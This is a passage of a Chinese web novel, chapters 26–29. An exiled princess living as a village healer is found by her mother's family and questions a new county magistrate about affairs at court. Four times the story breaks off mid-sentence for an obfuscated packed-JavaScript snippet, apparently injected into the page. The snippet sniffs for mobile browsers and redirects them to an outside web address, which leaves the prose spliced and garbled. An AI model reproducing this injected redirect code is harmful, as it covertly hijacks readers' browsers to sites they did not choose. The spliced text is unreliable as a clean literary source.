她把盆子往两人面前一放:“我刚蒸的枣糕,你们尝尝。” 盆子里整整齐齐码着十来块枣糕,黄澄澄的,上面嵌着红枣,冒着热气,甜香扑鼻。 李大牛眼睛都直了。 乖乖,这待遇! 他在刘大夫家帮工这么久,别说枣糕了,连刘杏儿一个好脸色都没得过几回。今天这是沾了谭晏的光啊! 他看了看刘杏儿看谭晏的眼神,又看了看谭晏那张茫然无知的脸,心里顿时有了几分掂量。 这傻小子真不喜欢刘杏儿。 “谭晏,要不这样吧。”李大牛眼珠一转,凑到谭晏耳边,压低声音道:“你来这儿帮工……” 谭晏一愣:“啊?” “你看啊,”李大牛掰着手指头给他分析,“你来这儿帮工,咱俩就能天天见面,我有空就慢慢跟你讲你这事儿。” 拍了拍胸脯:“你这事,哥帮你参谋参谋!” 刘杏儿在旁边听见这话,眼里突然亮了一下。 虽然不知两人在说什么,但她还是连忙接话:“对对对,谭晏哥,你来吧!我爹正说缺人手呢!你来的话,工钱好商量!” 李大牛得意地扬了扬下巴,又问谭晏:“咋样?” 谭晏垂下眼,沉默了一会儿。 “我……想想。” ………… …… 雨水断断续续下了几日,这天总算放晴了。 谭柳真拎着木桶,一瓢一瓢地往菜地里浇水。左手已经利索许多,但是她的动作仍然很慢。 阳光落在她的肩上暖洋洋的,晒得人骨头缝里都透出几分慵懒。 她浇完一垄,直起腰来,目光不经意间掠过院子外头那棵老槐树,就是那晚,那只鸟站着的地方。 谭柳真的动作顿了顿,手里的水瓢悬在半空,半晌没落下。 那晚纸条上面的字, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295987|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又在她眼前浮现开来: “我和你外大父都已找到你。周围已派人盯着,逃跑无用。皇帝身子大不如前,我们随时可能召你回来。莫耍花招,莫存侥幸。” 她想起小时候在母后宫里,曾见过那只鸟几次。那时她不懂,只当是母后养的什么稀罕物,还追着它跑过。后来才知道,那是母后与外公传递消息用的。朝中有什么风吹草动,父女二人便是靠这只鸟互通消息。 那时候她只觉得稀奇,如今轮到这鸟来找自己,才知道个中滋味。 逃不过了。 谭柳真叹了口气,那场大火烧起来的时候,她翻墙逃出宫去,心里只有一个念头:死也要死在外面,绝不当那颗任人摆布的棋子。 兜兜转转,还是被找到了。 她抬头看了看天,天蓝得晃眼,几朵白云慢悠悠地飘着。远处山峦起伏,层层叠叠的青绿铺展开去,一直铺到天边。山脚下,炊烟袅袅升起,是村里人家在烧午饭了。 这地方真好啊。 她在这个小村子里活了十年。日子过得清贫,有时候连肉都吃不上,可这十年,是她这辈子最自在的十年。不用看谁的脸色,不用听谁的话,不用算计谁,也不用防着谁算计自己。想睡就睡,想醒就醒,想笑就笑,想哭就哭。 谭柳真低头看了看自己这双手。 十指粗糙,掌心有茧,是这些年干活磨出来的。在这里她能劈柴、能种菜、能烧火、能洗衣十载,就是没能尽到一点公主的责任。 外戚那边,如果不是有什么变故,根本不会在乎她死没死、在哪儿。他们找她回去,绝不是因为什么母女情深、祖孙情重。 这十年里, 她日出而作,日落而息。再没有人叫她乐平,没有人告诉她该说什么话、该做什么事、该见什么人。 她以为自己已经死了。 可直到那天为止,她才想起来原来自己没有死。那些人也都还记得她。 皇帝的身体已经不怎么好了。 她想起父皇的样子。曾经她很恨父皇和母后,可现在,他要死了。 谭柳真放下水瓢,站起来,看着远处灰蒙蒙的天。 云层很厚,看不见太阳。但天已经亮了,雨后的空气里有一股泥土的腥味,混着草木的清香。 她深吸一口气,又慢慢吐出来。 十年前那场大火,给了她一次命。 她本来该死在那里的,可她活下来了。在这山里躲了十年,过了十年清贫又自在的日子,已经够了。 说起来,这件事还要感谢那个人,本来和亲的祸端由他而起,反倒现在,自己能在这里逍遥快活数年也全归功于他。 谭柳真弯下腰,继续浇水。 她当然不打算将谭晏带过去,谭柳真想起最近几天谭晏老是躲着她、往镇上跑的反常行为,心里反倒是有一阵说不出的舒畅。 刘杏儿那姑娘长得清秀,性子也温和,跟着刘大夫学了几年医,认得几个字,懂些药性。 朋友也好,恋人也罢,希望等她离开的那一天,谭晏能够找到一份能够支撑他在这里生活下去的亲密关系。 这么说的话……她是不是还要帮忙给两人的关系添一把柴? 正想着,身后却突然传来脚步声…… 26.小菜园 脚步声由远及近,谭柳真回过头,就看见谭晏从院门口走进来。 他今天看起来心情不错,脚步比往日轻快些,眉眼也舒展着。只是走到近前,看见谭柳真手里的水瓢,那眉头又皱了起来。 “阿姐,”他三两步跨过来,伸手就去接水瓢,“你手还没好,怎么又干活?” 谭柳真由着他把水瓢拿走,笑道:“浇个水而已,又不是什么重活。再说我这手好得差不多了,你看——” 她把左手伸出来,在他面前晃了晃,五根手指灵活地屈伸了几下,“今天换药的时候我看了,伤口都长好了,就是还有点痒。刘大夫说,再过几天就能拆纱布了。” 谭晏低头看了看她的手,那手背上还缠着层层纱布,只露出指尖。他看着那几根白生生的指头,忽然想起梦里那截脚腕子,心里猛地一跳,赶紧把目光移开。 “那也得小心,”他闷声道,蹲下去接着浇水,“万一又伤着怎么办。” 谭柳真看着谭晏蹲在地上的背影,他今天穿了件青灰色的短褐,是前些日子赶集时新扯的布做的,袖口卷到手肘,露出一截结实的小臂。 阳光照在他脸上,把他晒得微微发红,额头上有细密的汗珠。 太阳暖暖地照着,院子里一片安静。有福不知从哪儿钻出来,颠颠儿跑到菜地边上,探头探脑地往里头瞧。 谭晏浇水的时候不小心溅了几滴到它鼻子上,它打了个喷嚏,往后缩了缩,又不死心地凑上去。 谭柳真被它逗笑了:“有福,你又想干啥?那地里有虫子不成?” 有福听见自己的名字,尾巴摇了摇,爪子往前伸了伸,试探着往菜地里踩。 “哎——”谭晏一瓢水浇过去,正好浇在它爪子前头,“不许踩!” 有福被吓了一跳,嗖地缩回爪子,委屈巴巴地看着谭晏,呜呜叫了两声。 谭晏不理它,继续浇水。 有福在原地转了两圈,忽然发现了新东西—— 菜地边上不知什么时候多了一圈木头桩子,矮矮的,一根挨着一根,把整块菜地围了起来。 它凑上去,拿鼻子嗅了嗅木头桩子,又拿爪子扒拉了两下,扒拉不动。于是它绕着那圈木头桩子走了一圈。 “有福!”谭柳真喊它。 “这围栏是防鸡的,不是防你的。你给我老实点,不许进去踩苗子。” 有福呜呜两声,把下巴搁在地上,不乱动了。 谭晏浇着水,余光瞥见它那副模样,嘴角忍不住往上翘了翘。 他把最后一垄浇完,站起来,把水瓢放回桶里,这才仔细去看那圈围栏。 木头桩子削得整整齐齐,一根根埋进土里,埋得结结实实。桩子之间还用藤条编了道横栏,瞧着又结实又好看。 “阿姐,”他转过头,眼里亮晶晶的,“这是你做的?” 谭柳真点点头:“今儿上午闲着没事,就弄了弄。你不是说那块地感觉光秃秃的,我觉得你说的对,不是刚种上苗子吗?我怕鸡进去刨,也怕有福进去踩。等苗子长稳了,再把围栏撤了就行。” 谭晏蹲下去,摸了摸那木头桩子。桩子表面磨得光滑,摸上去不扎手。 “阿姐,” “你手还没好呢,做这些干什么……” 谭柳真看他那样,知道他是在心疼自己。她笑了笑,轻声道:“没事,又不费什么劲。再说,你那块地种得那么用心,我不得帮你护着点?” 谭晏没说话,只是蹲在那儿,摸着那圈围栏摸了很久。 有福凑过来,拿脑袋拱他的胳膊,呜呜叫着,像是在问他在干什么。谭晏伸手摸了摸它的脑袋,忽然开口:“阿姐。” “嗯?” “我今天……”他顿了顿,想了想,“我今天去镇上,买了点东西。” 谭柳真看着他:“买什么了?” 谭晏站起来,走到院墙边,从那儿拎过一个布包。他走回来,把布包打开,里头是一块肉,不大,巴掌宽的一条,肥瘦相间,看着挺新鲜。 “肉?”谭柳真愣了愣,“哪儿来的钱?” 谭晏低着头,声音有些含糊:“我……我帮刘大夫家干了点活,他给的。” 谭柳真看着他,眼里有笑意一闪而过。 “帮什么活了?” “就……搬搬药材,扫扫地,”谭晏脸有些红,“没什么。” 谭柳真没再追问,只是笑道:“那今晚有肉吃了。” 谭晏点点头,把肉递给谭柳真,又蹲下去,继续看着那块菜地。 苗子还是昨天种下去的样子,小小的,绿绿的,叶子耷拉着,看着有点蔫。可谭晏盯着它们,总觉得它们已经在土里发力了,明儿一早起来,说不定就能长高一截。 有福趴在他脚边,学着他的样子,也盯着菜地看。看了一会儿,大概是觉得无聊,又把脑袋埋进前爪里,打起盹来。 远处山峦层层叠叠地铺开去,青绿的颜色由浓渐淡,最远的那一重几乎融进了天边的云霭里。 谭晏站起身,阳光照在他身上,将影子拉得长长的,正好落在谭柳真脚边。 谭柳真看着那道影子,忽然发现这孩子好像又长高了一点。 刚来的时候,他和她一样高,现在快比她高了一个脑袋。 看着这一人一狗,她忽然忍不住笑了。 “阿晏,”她开口道,“你这样盯着看,它们也长不快的。” 谭晏回过头,脸有些红:“我知道……” “我小时候也干过这种事,”谭柳真笑着说,“种了棵小树苗,天天蹲在跟前看,恨不得它一夜之间长成大树。我娘跟我说,你这样看没用,你得给它浇水、施肥、松土,慢慢等。树有树的活法,人有人的活法,急不来的。” 谭晏听着,若有所思。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300010|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭柳真又道:“后来那棵树还真长大了,长了好多年,长得比我还高。我离开的时候,它还在那儿。” 她说着,目光变得有些悠远。 谭晏看着她,忽然觉得阿姐今天有点不一样。阿姐的娘亲一定是个很温柔的人。 但是他没说出口,只是点点头:“嗯,我知道了。” 谭柳真回过神来看着他,忽然笑了。 “阿晏,”她换了个语气,带着点打趣的意味,“你最近老往镇上跑,买了这么多东西,路上就没遇到什么有趣的人?有趣的事?” 谭晏一愣,脸腾地红了。 他盯着菜地,耳朵尖以肉眼可见的速度红了起来。 “没……没什么。”他的声音有点发紧,“就是帮家里买东西。盐没了,还有油,还有……” “还有呢?”谭柳真笑眯眯地问,“有趣的人呢?没遇到?” 谭晏的耳朵更红了。 他当然遇到了人,李大牛那个不正经的,可他怎么说得出口?李大牛说的那些话,他能跟阿姐说吗?虽然他觉得李大牛那些话都是胡言乱语,狗屁不通,可万一阿姐真生气了怎么办? “就……就遇到了周叔。”他憋了半天,憋出这么一句,“周叔说,他家母羊生小羊了,问我们要不要一只。” 谭柳真挑了挑眉:“就这?” “嗯。”谭晏低着头,不敢看她。 有福在旁边呜呜叫,拿脑袋蹭他的手,他也顾不上理。 谭柳真看着他这副模样,心里有了计较。 脸都红成这样了,还说什么都没遇到。看来跟刘杏儿的事有盼头。 她也不戳破,只是笑着说:“行吧。对了,明天我跟你一块下山。刘大夫说我该去换药了,正好复查一下。” 谭晏猛地抬起头:“明天?” 他第一反应就是李大牛那张大脸。 李大牛那个不正经、话多、净说些让人害臊的话的人!他万一又说什么胡话可怎么办?! 谭晏的脑子飞快地转着,嘴巴却笨得厉害:“我、我没遇到什么……就、就那个……” 他支支吾吾了半天,最后憋出一句:“就、就路上有个亭子,我那天在那儿躲雨来着。” “遇到了一个姓李的人,说话还算有趣。” 谭柳真看着他,笑而不语。 谭晏被她看得心里发毛,赶紧低下头,假装在看菜地。 有福这时候打了个哈欠,站起来抖了抖毛,凑到谭晏腿边蹭了蹭。谭晏顺势把它抱起来,把脸埋进它毛茸茸的身体里,耳朵红得像要滴血。 有福被他抱得莫名其妙,挣扎了两下,没挣开,只好乖乖待着,拿舌头舔他的手腕。 “行了,”她站起来,拍了拍身上的土,“别蹲着了,起来帮我把肉切了,晚上炖着吃。” 谭晏如蒙大赦,赶紧站起来,抱着有福往灶房走。 27.宫中闺秘 雨下了一夜,淅淅沥沥地敲着窗棂。谭柳真躺在床上,盖着带着皂角香气的粗布被子,听着雨声,迷迷糊糊睡着。 母后的寝殿里燃着安神的檀香,她跪坐在软垫上,手里捧着一卷《女则》,一个字一个字地念。母后坐在上首,手里端着茶盏,偶尔抬眼看她一下,眼神淡淡的。 “错了。” 她停下来,抬起头。 母后放下茶盏,声音不轻不重:“‘柔顺’的‘顺’字,你念了三遍,三遍都走了调。重来。” 她低下头,重新念。一遍,两遍,三遍。念到喉咙发干,念到眼眶发酸,母后才终于点了点头。 “行了,下次功课这种事,让管事的嬷嬷来就好了,不要再跑来我这。” 她从垫子上爬起来,膝盖已经跪麻了。她揉了揉膝盖,小心翼翼地看向母后。 来之前她已经再三练习,但不知为何,一到了母亲的跟前,她就紧张得甚至说不出话,大脑一片空白。 这唯一表现的机会又黄了,只怕是更加不满自己。张皇后却没有看她,只是挥了挥手。她行了礼,退出去。 走到门口的时候,她听见母后对内侍说:“去把丞相大人请来。” 她站在门外,愣了一会儿。 母后从来不让她见外公。每次外公来,母后都让她回自己殿里待着,不许出来。她不知道为什么,只是乖乖听话。 梦里画面一转。 她七八岁了,在御花园里跑着。 那天父皇难得有空,说要带她放纸鸢。她高兴坏了,早早换好衣裳,在御花园门口等着。等了很久很久,父皇才来,身后跟着一群大臣。 父皇看见她,愣了一下, “你先回去,”父皇说,“朕忙完了再来找你。” 她点点头,乖乖回去了。三天后,父皇派人送来一只纸鸢,说是西域进贡的,好看得很。她拿着那只纸鸢,在御花园里放了很久很久,一个人。 纸鸢飞得很高,线在她手里绷得紧紧的。 她忽然想,要是线断了,纸鸢会飞到哪里去呢? 梦里画面又转。 她十二岁那年,宫里来了个小宫女,比她大不了两岁,是从江南选来的。那宫女会唱好多好多江南的小调,还会讲好多好多江南的故事。她喜欢听,常常把她叫到殿里,一听就是一个下午。 有一天,那小宫女忽然不见了。 她问母后,母后说,犯了错,被送出宫了。 她不信,偷偷去打听。才知道那小宫女是被母后身边的嬷嬷带走的,说是她总往长公主跟前凑,怀疑心思不纯,撵去洗衣局了。 她跑去洗衣局找,找了半天,才在一个角落里找到那个小宫女。她蹲在那里洗衣裳,手泡得发白,看见她,愣了一下,然后低下头去,再也不肯抬头看她。 她想说什么,却什么都说不出来。后来她再也没见过那个小宫女。听说洗衣局苦得很,很多人熬不过几年。 梦里画面又转。 她十五岁及笄那年,父皇母后为她办了盛大的及笄礼。那天她穿着繁复的礼服,戴着沉重的冠冕,一步一步走过长长的丹陛。满朝文武跪在两侧,山呼千岁。 她走在路上,忽然想起小时候放的那只纸鸢。 那么多人跪着,那么多人喊着,那么多人看着她。可她觉得自己是一个人。 及笄礼后,她回到殿里,把冠冕摘下来,放在桌上。那冠冕沉得很,压得她脖子疼。 她对着铜镜,看着镜子里那个人。 那个人穿着华服,戴着珠翠,眉眼间却空落落的,像一只纸鸢。 线在别人手里攥着。 她不知道什么时候会断。 梦里画面又转。 她十七岁那年春天,御花园的桃花开了。 她一个人在园子里走着,忽然听见有人喊她。 回头一看,是个少年,穿着朝阳太子的服饰,站在桃树下,冲她笑。 “长公主殿下。” 她愣了愣,想起来这是来朝贺的朝阳太子萧珩。 她微微颔首,算是还礼。 萧珩走过来,目光落在她脸上,温温和和的。 “殿下一个人?” “嗯。” “那正好,”他笑道,“我也是一个人。不如一起走走?” 她本想拒绝,可不知怎么的,却点了点头。 两人在桃林里走了一路,萧珩说了很多话,说朝阳的风土人情,说他小时候的事,说他第一次来大汉的见闻。她听着,偶尔应一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303330|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知不觉走了很久。 走到桃林尽头,萧珩忽然停下来。 “殿下,”他看着她,目光认真,“我能不能问你一个问题?” 她点点头,然后愣住了。 萧珩看着她,眼神里有什么东西化开。他转身往回走,走了几步,又回头看她。 “殿下,下次我来的时候,还能不能找你说话?” 她站在原地,看着他,过了好一会儿,才点点头。 萧珩笑了笑,转身走了。 她站在桃林尽头,看着他的背影消失在花影里。风吹过,桃花瓣纷纷扬扬落下来,落在她肩上,落在她发间。 她突然意识到了什么。 画面又转。 鸿胪客馆的火光冲天而起。 她在宫墙下奔跑,枯藤磨破了手,她浑然不觉。翻过那道墙,落进黑暗的巷子里,她回头看了一眼那燃烧的宫殿,然后头也不回地消失在夜色里。 跑。 跑得远远的。 跑到谁也找不到的地方。 跑到再也不用做傀儡的地方。 …… 谭柳真猛地睁开眼睛。 窗外已经亮了,雨不知什么时候停了。阳光从窗棂里漏进来,落在她脸上,暖暖的。 她躺在那儿,看着屋顶,慢慢喘匀了呼吸。 脸上湿湿的。 她伸手摸了一下,是泪。 不知什么时候流下的泪。 她坐起来,用手背擦了擦脸。梦里的那些画面还在脑子里转着,转得她有些恍惚。 母后的脸,父皇的脸,那个小宫女的脸,萧珩站在桃树下冲她笑的脸,还有那场大火,那道宫墙,那个头也不回的夜晚。 九年了。 她以为她已经忘了,原来没有。 她低头看了看自己的手。 那双手现在粗糙了,有茧了,能劈柴能种地能洗衣裳了。不再是从前那双只会握笔执扇的手。 可她还是她。 谭柳真深吸一口气,掀开被子下了床。 窗外,阳光正好,有鸟在叫。远处的小山青青翠翠的,像一幅刚画好的水墨画。 门后面的谭晏和有福睡得正香。而她站在窗前,看着那山看了很久。 28.京城的石榴,该熟透了吧 谭晏不知道发生了什么,只是发现谭柳真的脸色有点不太对。 天刚亮她就起来把要带的东西收拾好,又去灶房看了看昨儿晚上焖的粥。粥还温着,她盛了两碗,一碗自己喝了,一碗留给谭晏。 谭晏从柴房那边过来,头发还有些乱,显然是刚起。他走到灶房门口,看见谭柳真已经在喝粥,愣了愣。 “阿姐,你起这么早……” “不早了,”谭柳真指了指另一碗粥,“快吃,吃完下山。” 谭晏点点头,坐下喝粥。有福蹲在他脚边,仰着脑袋眼巴巴地看着他,尾巴在地上扫来扫去。谭晏第一次有种被催着的感觉。 吃完饭,两人收拾妥当,锁了门,带着有福往山下走。 山路还是那条山路,但比起前些日子好走了许多。天晴了好几日,路面干爽,踩上去踏实得很。有福跑在最前头,一会儿追个蝴蝶,一会儿闻朵野花。 谭晏走在谭柳真旁边,时不时看她一眼,又飞快地把目光移开。 谭柳真没有注意到,仿佛心思都不在这,一路上都没有说话。 走了小半个时辰,到了镇上。刘大夫的药铺还是老样子,门口挂着的招牌被太阳晒得有些发白,里头飘出淡淡的药香。 刘杏儿正在柜台后面整理药材,看见谭晏进来,眼睛顿时亮了。 “谭晏哥!你来啦?” 她说着,目光往旁边一扫,看见了谭柳真,脸上的笑容立刻收敛了些,换上一副客气的模样。 “谭大夫也来了。” 谭柳真点点头,笑道:“来复查。刘大夫在吗?” “在在在,”刘杏儿连连点头,朝里头喊,“爹!谭大夫来了!” 刘大夫从里间出来,手里还拿着个药碾子。他看见谭柳真,笑着招呼:“来了?坐坐坐,我看看你的手。” 谭柳真在凳子上坐下,把左手伸出来。刘大夫解开纱布,仔细看了看伤口,又让她动了动手指,点点头。 “好得差不多了,伤口都长好了,就是新肉还嫩着,得再养养。再过几天就能拆纱布了,不过拆了之后也别太用力,慢慢来。” 谭柳真点点头:“多谢刘大夫。” “客气啥,”刘大夫摆摆手,又给她换上新药,重新包扎好,“再敷这一回,下次来就不用包了。” 谭柳真应了一声。 刘杏儿在旁边站着,眼睛一直往谭晏那边瞟。谭晏站在门口,抱着有福,目光落在门外的大街上,不知道在想什么。 刘杏儿咬了咬唇,忽然开口:“谭晏哥,你渴不渴?我给你倒碗水?” 谭晏回过神来,摇了摇头。刘杏儿脸上的笑容僵了僵,又很快恢复过来,转身去给她爹帮忙了。 谭柳真看在眼里,心里微微叹了口气。 “刘大夫,”谭柳真站起来,从袖子里摸出几文钱,“这是今天的药钱。” 刘大夫摆摆手:“不用不用,你已经付过了,我哪能再收呢?” 谭柳真心里门清,不是上好的药,她的手是好不了这么快的。她坚持要给,刘大夫坚持不收,推让了几个来回,最后还是谭柳真败下阵来。 “那改日我送些山货来,” 刘大夫见拗不过她,只好笑着点头:“那行那行,山货我爱吃。” 谭柳真笑了笑,转身往外走。走到门口,她忽然停下脚步,回头对谭晏道:“阿晏,我有点事要办,办完了就去找你。” 谭晏愣了愣:“阿姐要去哪儿?我陪你去。” “不用,”谭柳真笑着摆摆手,“一点小事,一会儿就好。你先去,把东西买齐了,回头咱们在馄饨摊那儿碰头。” 谭晏还想说什么,可看着谭柳真若有心事的模样,又把话咽了回去。 “那阿姐你小心点,”他说,“办完了就来找我。” 谭柳真点点头,转身走了。谭晏抱着有福站在原地,看着她走远。 有福趴在他怀里,眼睛还望着谭柳真消失的方向,呜呜叫了两声。 谭柳真走得很快。 她穿过几条街巷,绕过几个弯,最后在一座气派的衙门前停下了脚步。 她站在门口,看着那两扇黑漆大门,沉默了一会儿。 陈捕头那天来的时候,她隐约觉得哪里不对劲,她已经离开京都九年了,对宫里的情况一无所知,需要找人打探消息。 谭柳真知道自己迟早要回去,但是回去之后怎么活,还要不要继续活成一个傀儡的样子,由她自己决定。她不想再做傀儡,现在就不能坐以待毙,得先弄清楚情况。 谭柳真深吸一口气,抬脚走上台阶。门口的衙役看见她,伸手拦住:“站住,什么人?” 谭柳真看着他,神色平静:“我找陈捕头。” 衙役打量了她一眼,目光在她脸上停了停,像是想起了什么,态度忽然恭敬了几分。 “陈捕头?您找陈捕头?那可巧了,陈捕头前些日子刚被调回京都了。不过……” 他顿了顿,压低声音道:“新来的县令大人今日正好在,您要不要见见?” 谭柳真看着他,心里有了数。 她点点头:“劳烦通传。” 衙役应了一声,转身进去了。不一会儿,他小跑着出来,躬身道:“大人请您进去。” 谭柳真跟着他进了衙门,穿过几道门廊,最后在一间书房前停下。 “大人就在里头,”衙役说,“您请。” 谭柳真推门进去。 书房不大,陈设也简单,但处处都是讲究。书案上摆着文房四宝,墙边立着几架书,书脊朝外,整整齐齐。 窗下养着一盆兰草,叶片舒展,郁郁葱葱,与这屋中其他物什比起来,倒显得格外精心。 往里看去,书案后面坐着个人。 四十来岁年纪,面容清瘦,下颌蓄着几缕长须,穿一身青灰色长衫,半旧的,洗得有些发白。若是在街上遇见,怕是要当成哪个学堂的教书先生。 温温和和的,像春日里化开的溪水。可那溪水底下沉着什么,看不透,也摸不着。只让人觉得,这人说的话,得在心里过上三遍,才敢信一半。 他看见谭柳真进来,站起身来,拱手一礼。动作不疾不徐,分寸拿捏得恰到好处。 “长公主殿下,别来无恙。” 谭柳真站在门口,目光落在他脸上,停了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314365|197085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。那人笑了笑,伸手道:“殿下请坐。” 窗外的光从窗棂里漏进来,落在他身后的书架上,落在那一盆兰草上。兰草的影子投在墙上,微微晃着。 谭柳真在椅子上坐下,他也重新落座,端起茶盏抿了一口,目光从茶盏边缘看过来,落在她脸上。 “京城的石榴,”她忽然说,“这时候该熟透了吧。” 那人顺着她的目光看向窗外,像是想了想,才道:“京城的事,离得远,不太清楚。不过听说今年雨水多,果子怕是不如往年甜。” 谭柳真看着他,开门见山:“你是谁?” 那人愣了一下,随即笑了。 “殿下快人快语,”他放下茶盏,“微臣姓章,单名一个翊字,翊卫的翊。” “原是京城兆尹府里一个不入流的小吏,承蒙丞相大人抬爱,荐来此地做个县令。说来惭愧,这县里的事,还在慢慢学着。” 谭柳真点点头,没再追问,章翊看着她,眼里闪过一丝恭敬的笑容。 “前些日子,听说京城来了信。”谭柳真缓缓道。 章县令端着茶盏的手顿了顿,随即恢复如常。 “信?” “一封家书,”谭柳真看着窗外,声音淡淡的,“说是家里人惦记着,问什么时候回去看看。” 对面沉默了一会儿,才道:“家里人惦记,是好事。” “可我这记性不太好,” “离家太久了,家里人什么样,都快记不清了。想写封回信,都不知道从何下笔。” 章县令听着,手指突然在茶盏沿上轻轻叩了两下。 “殿下放心,皇上的身子虽然还是咳疾不断,但太医说是旧疾复发,可以慢慢养着,只是皇后娘娘……” “只是娘娘这些年来,一直惦记着殿下。殿下当年走的时候,娘娘大病了一场,好些年起不来床。这几年才好些,可心里那根刺,一直没拔出来。” 谭柳真脸上没有什么表情,她玩转了一下手里的茶杯: “不知如今京中风向,可还如当年那般?” 章翊笑了笑,随即低声道:“殿下,微臣只是个地方小官,这些大人们的事……我不知道。” 谭柳真看着他,没再追问,明白就算他知道也不会说。 “章大人,” “我跟你讨样东西。” 章翊站起来,神色恭敬:“殿下请说。” “传信的鸟。” 章翊愣了一下,谭柳真走回他面前:“你既然能在这儿等我上门,那肯定有门路跟京都那边通消息。”她说,“我要一只鸟,能跟那边通信的。” 章翊看着她,没说话,谭柳真继续道: “我离开宫里九年了。从前的很多人、很多事,我都记不清了。我想跟我母后、跟我外公好好聊一聊,叙叙旧。可他们派人来盯着我,却不给我传消息的门路。” 她顿了顿,笑了笑:“这算怎么回事?” 章翊沉默了好一会儿,终于点了点头。“微臣会把殿下的意思传回去。至于鸟的事,得看那边的意思。” 谭柳真点点头:“多谢。” “殿下客气。” 29.皇嗣 章翊端起茶盏,又抿了一口,那茶已经凉透了,他却像是尝出了什么滋味,慢慢咽下去。目光从茶盏边缘抬起来,落在谭柳真脸上,随即故作随意地开始拉家常。 “微臣到任这些日子,听闻殿下收养了一个男孩,身手了得。前些日子有流民作乱,那孩子一人打了三个,把流民全撂倒了。” 他说得轻描淡写,可谭柳真听得明白,他们在盯着她,还有谭晏。 “章大人消息倒是灵通。” 章翊摆摆手笑道:“微臣职责所在,总得把县里的事摸清楚。那孩子的事,镇上人人都知道,不是什么秘密。” “他是我半路捡过来的,从南疆那边逃荒过来的,我不过看他可怜收留他充当个帮手,他跟着我过的都是苦日子,没什么特别之处。” “等我回京那天,这里的一切,就都与我无关了。” 章翊脸上的笑容没有变化,但眼睛里的东西更深了几分。“殿下说笑了,“殿下与那孩子相处九年,情分非比寻常,怎会无关?” 谭柳真看着他,忽然笑了笑。 “章大人,”她说,“这世上有些事,不是你想怎样就能怎样的。我当年离开京都的时候,什么都没带。如今回去,自然也是一个人回去。” 章翊沉默了一会儿,点点头。 “殿下说得是。” “说起来,殿下的儿时玩伴,舒宁郡主,前两年已经成婚了。” 谭柳真愣了一下,心里泛起阵阵涟漪。 舒宁郡主,是端王府的嫡女,比她小两岁。端王是父皇的幼弟,性子温和,不爱掺和朝堂上的事,成日里就是读书写字、养花种草。端王妃出身清流,也是个温婉的人,生下的女儿舒宁,却是个活泼跳脱的性子。 小时候她们常在一起玩。那时候母后管得严,每日里不是读书就是习字,她难得有松快的时候。每次舒宁进宫,就是她最高兴的日子。 舒宁胆子小,见了虫子就尖叫。有一次御花园里爬出一条青虫,舒宁吓得脸都白了,躲在她身后不敢动。她捡了根树枝,把虫子挑起来扔远了,然后回头笑她:“没出息,一条虫子就把你吓成这样?” 舒宁气得跺脚,追着她打。两人在御花园里跑来跑去,跑得满头大汗。后来被母后知道了,罚她抄了一整夜的《女则》。 那是她小时候为数不多的开心时候。后来她大了,不能再像小时候那样疯跑,可舒宁还是常来找她。 给她带宫外的小玩意儿,哪家铺子的点心好吃,哪条街来了杂耍班子,哪家的公子小姐订了亲。 她走的那年,舒宁才十七。 “是谁?”她问。 章翊道:“端王与定国公府早有婚约,舒宁郡主及笄之后,便嫁给了定国公世子。两家门当户对,倒是桩好姻缘。” 谭柳真想起舒宁小时候跟她说的话:“我才不要嫁人呢!我要一辈子待在王府,天天吃喝玩乐,谁也不嫁!” 那时候她说这话的时候,眼睛亮亮的,像两颗小星星。现在她嫁人了,嫁给了一个素未谋面的世子。 谭柳真垂下眼,手指无意识地摩挲着茶杯的边缘,心里五味杂陈的。 “这十年来,宫里虽然变了不少,但来来去去,也就添了那么几个新人。皇嗣还是那几个,没什么大变样。” 章翊继续道: “除了最年幼的十四皇子,其他的皇子都已经纳妃。大皇子娶的是吏部尚书家的嫡女,二皇子娶的是威远侯府的姑娘,三皇子、四皇子也都有了正妃。” “大皇子,今年该有三十了吧?”她忽然开口。 章翊道:“殿下记性好,大皇子确已而立。” 